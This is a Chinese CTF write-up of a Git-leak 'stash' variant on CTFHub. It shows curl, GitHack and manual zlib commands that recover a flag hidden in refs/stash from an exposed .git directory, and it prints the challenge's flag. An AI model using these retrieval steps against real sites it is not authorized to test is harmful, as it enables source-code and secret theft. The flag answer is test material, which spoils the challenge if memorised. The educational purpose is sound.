Stash 变式 — 考点精讲

前置知识:Git 泄露 — 先读 Git 泄露主考点,理解 .git 对象模型后再看本变式

关联教程:git.md 12 章 git stash · git.md 17 章内部原理与文件存储

考点变式:stash 提交泄露

git stash 本意是把未提交的改动”临时收起来”,但 CTF 出题人会故意把 flag 藏进 stash

步骤提交信息(logs 中可见)动作
1init初始化仓库
2add flag添加占位符 flag 文件(如内容 where is flag)并提交
3(无新提交)把文件改成真 flag,然后 git stash 收起来
4reset: moving to HEADgit reset 回退,抹掉痕迹
5remove flag删除 flag 文件并提交

关键点:真 flag 不在任何分支提交里,而是被 git stash 收到 refs/stash。普通解法(只看分支历史)会拿到 add flag 提交里的占位符——这就是陷阱所在。

stash 的底层原理(为什么藏在 refs/stash)

stash 是一个特殊提交,与普通提交有两处不同:

  1. 引用位置:普通提交挂在 refs/heads/master,stash 挂在 refs/stash——所以 git log 看不到它,只有 git stash listgit log --allgit reflog 能看到
  2. 双亲提交:普通提交只有 1 个 parent,stash 有 2 个 parent(原分支 HEAD + 当时的暂存区快照)
stash 提交(refs/stash)
 ├─ tree ← 真 flag 文件在这里
 ├─ parent 原分支 HEAD
 └─ parent 暂存区快照

所以真 flag 藏在 stash 的 tree 里,而不是 add flag 提交的 tree 里。判断方向的方法见下。

如何看 git 日志信息(找 stash 的痕迹)

git 泄露时先看两个日志文件:

# 1. 分支提交历史(只能看到 init/add flag/remove flag)
curl -s "http://目标/.git/logs/HEAD"
# 0000000... xxxxxxx init
# xxxxxxx... 902a12e add flag
# 902a12e... yyyyyyy reset: moving to HEAD
# yyyyyyy... zzzzzzz remove flag
 
# 2. 关键:logs/refs/stash 暴露 stash 操作
curl -s "http://目标/.git/logs/refs/stash"
# 0000000... 97d4f58 WIP on master: 902a12e add flag <-- 暴露 stash!

logs/refs/stash 存在 = 仓库里藏了 stash。同时 refs/stash 文件内容就是 stash 提交的 sha1:

curl -s "http://目标/.git/refs/stash"
# 97d4f58456ebdc5635d57d19143e77575b1977d2

如何判断 flag 在 git 的哪里(方向判断)

下载几个关键对象对比,即可确定真 flag 位置:

# 1. stash 提交(97d4f58...)——看它的 tree 和双 parent
curl -s "http://目标/.git/objects/97/d4f58456ebdc5635d57d19143e77575b1977d2" | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
# commit ... tree dfe63c27... <-- stash 的 tree(真 flag 候选)
# parent 902a12e... <-- 原分支 HEAD
# parent a983d7d... <-- 暂存区快照
 
# 2. add flag 提交(902a12e...)的 tree——对比用
curl -s "http://目标/.git/objects/90/2a12e..." | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
# tree c96cbca4... <-- add flag 的 tree
 
# 3. 分别解析两个 tree 里的同名文件 blob
# add flag 的 tree c96cbca4... → blob e358b09f... → "where is flag"(占位符!)
# stash 的 tree dfe63c27... → blob b294e836... → 真 flag
对象内容结论
add flag tree文件 blob → where is flag占位符,陷阱
stash tree文件 blob → ctfhub{...}真 flag

判断口诀:先看 logs/refs/stash 有没有,再对比 add flag 与 stash 的 tree——flag 方向在 stash 的 tree 里。

题目解法

CTFHub 技能树位置:CTFHub → Web → Web 信息泄露 → Git泄露(stash 变式题)

提示:用自研工具 trav 同风格的 gitdump 一条命令即可,工具已内置 stash 探测。

解法一(gitdump,最快):

gitdump "http://目标/" --out restore
# [*] 日志: 5 次提交
# [+] 提交历史:
# ... init
# ... add flag
# ... reset: moving to HEAD
# ... remove flag
# ... stash: WIP on master: 902a12e add flag <-- 探测到 stash
# [+] 恢复文件: 228961921227229.txt ...
# gitdump 检测到 stash 时优先恢复 stash 版本文件
 
cat restore/228961921227229.txt
# ctfhub{17e3c1c94c62c72c904715f7}

解法二(GitHack + 本地 git,标准工具链):

# 1. GitHack 下载完整 .git 目录
git clone https://github.com/BugScanTeam/GitHack
python3 GitHack.py "http://目标/.git/"
# [+] Clone Success. Dist File : ./dist/目标
# 注意:GitHack 按 index 恢复文件,得到的是占位符版本("where is flag")
cat dist/目标/228961921227229.txt # where is flag
 
# 2. 但完整 .git 已下载,在本地用 git 命令操作 stash
cd dist/目标
git stash list
# stash@{0}: WIP on master: 902a12e add flag <-- 真 flag 在此
git stash apply
cat 228961921227229.txt
# ctfhub{17e3c1c94c62c72c904715f7} <-- 真 flag

解法三(手工对象链,理解原理):

# 1. 确认 stash 存在,拿 sha1
curl -s "http://目标/.git/logs/refs/stash"
curl -s "http://目标/.git/refs/stash" # 97d4f58456ebdc5635d57d19143e77575b1977d2
 
# 2. 解压 stash 提交 → 拿 tree(dfe63c27...)
curl -s "http://目标/.git/objects/97/d4f58456ebdc5635d57d19143e77575b1977d2" | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
 
# 3. 解压 tree → 拿文件 blob sha(b294e836...),注意 tree 是二进制用 hex 解析
curl -s "http://目标/.git/objects/df/e63c27..." -o tree.bin
python3 -c "import zlib; print(zlib.decompress(open('tree.bin','rb').read()).hex())"
 
# 4. 下载 blob 解压即得 flag
curl -s "http://目标/.git/objects/b2/94e836..." | python3 -c "import zlib,sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())"
# ctfhub{17e3c1c94c62c72c904715f7}

本地实测(复现题):同流程在本地 mock 仓库验证——git dump 探测 refs/stash 并优先恢复 stash 版文件;GitHack 需配合本地 git stash list + git stash apply 才能取到真 flag。

易错点

易错点说明
占位符陷阱add flag 提交里的文件内容是 where is flag,不是真 flag
GitHack 恢复的是 index 版GitHack 按 index(暂存区)恢复文件,拿到的是占位符;真 flag 需下载完整 .git 后本地 git stash apply
普通 git log 看不到 stash必须 git log --all / git stash list / 看 logs/refs/stash
只看 logs/HEAD 会漏logs/HEAD 只显示分支历史,stash 痕迹在 logs/refs/stash
reset 抹不掉 stash出题人 reset 只是移分支指针,refs/stash 引用与对象仍在

同类变式(信息泄露大类)

考点说明终端提取
Git 泄露(主考点).git 目录可访问,历史源码全还原gitdump URL
Git stash 变式(本题)flag 被 git stash 收进 refs/stashgitdump URL(自动探测 stash)
SVN 泄露.svn/ 目录可访问,同原理还原历史专用工具或手工下载 .svn 文件
HG 泄露.hg/ 目录可访问,fncache + revlog 全泄露hgdump URL
备份文件下载各种备份文件泄露源码/文件清单bak文件网站源码
vim 缓存.index.php.swp 残留源码vim缓存
DS_StoremacOS 目录元数据泄露文件清单dsstore --notes URL/.DS_Store,见 DS_Store
目录索引泄露目录列表直接可见文件名目录遍历
phpinfo环境变量/配置泄露phpinfo

核心知识点总结

概念说明
stash 是特殊提交挂在 refs/stash(不在分支上),普通 git log 看不到
stash 有双 parent原分支 HEAD + 暂存区快照,真 flag 在 stash 的 tree 里
logs/refs/stash暴露 stash 操作的痕迹(WIP on master: ...
refs/stash 文件直接给出 stash 提交 sha1
占位符陷阱add flag 提交是 where is flag,真 flag 在 stash 里
gitdump自研工具,自动探测 stash 并优先恢复 stash 版本文件
GitHack + git标准工具链:下载完整 .git → git stash listgit stash apply
防御角度部署不带 .git;服务器禁止访问隐藏目录

关联教程